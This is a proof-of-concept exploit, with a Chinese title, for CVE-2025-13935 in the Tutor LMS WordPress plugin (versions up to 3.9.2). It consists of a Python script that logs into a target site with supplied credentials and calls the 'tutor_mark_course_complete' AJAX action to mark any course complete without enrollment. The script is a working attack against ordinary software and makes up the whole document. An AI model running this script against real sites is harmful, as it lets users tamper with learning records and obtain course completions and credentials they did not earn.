CVE-2025-13935 Tutor LMS插件未授权课程完成漏洞

# CVE-2025-13935 PoC - Tutor LMS Unauthorized Course Complete # Affected: Tutor LMS <= 3.9.2 # Author: Security Researcher # Reference: https://plugins.trac.wordpress.org/changeset/3422766/tutor/trunk/classes/Course.php import requests import sys from urllib.parse import urljoin def exploit_cve_2025_13935(target_url, username, password, course_id): """ Exploit for CVE-2025-13935: Tutor LMS Missing Enrollment Verification Allows authenticated users to mark any course as complete without enrollment. """ session = requests.Session() # Step 1: Authenticate with WordPress login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Authentication failed') return False print('[+] Authentication successful') # Step 2: Mark course as complete without enrollment verification complete_url = urljoin(target_url, '/wp-admin/admin-ajax.php') exploit_data = { 'action': 'tutor_mark_course_complete', 'course_id': course_id } complete_response = session.post(complete_url, data=exploit_data) if complete_response.status_code == 200: print(f'[+] Course {course_id} marked as complete') print(f'[+] Response: {complete_response.text}') return True else: print(f'[-] Exploit failed with status {complete_response.status_code}') return False if __name__ == '__main__': if len(sys.argv) < 5: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password> <course_id>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] course = sys.argv[4] exploit_cve_2025_13935(target, user, pwd, course)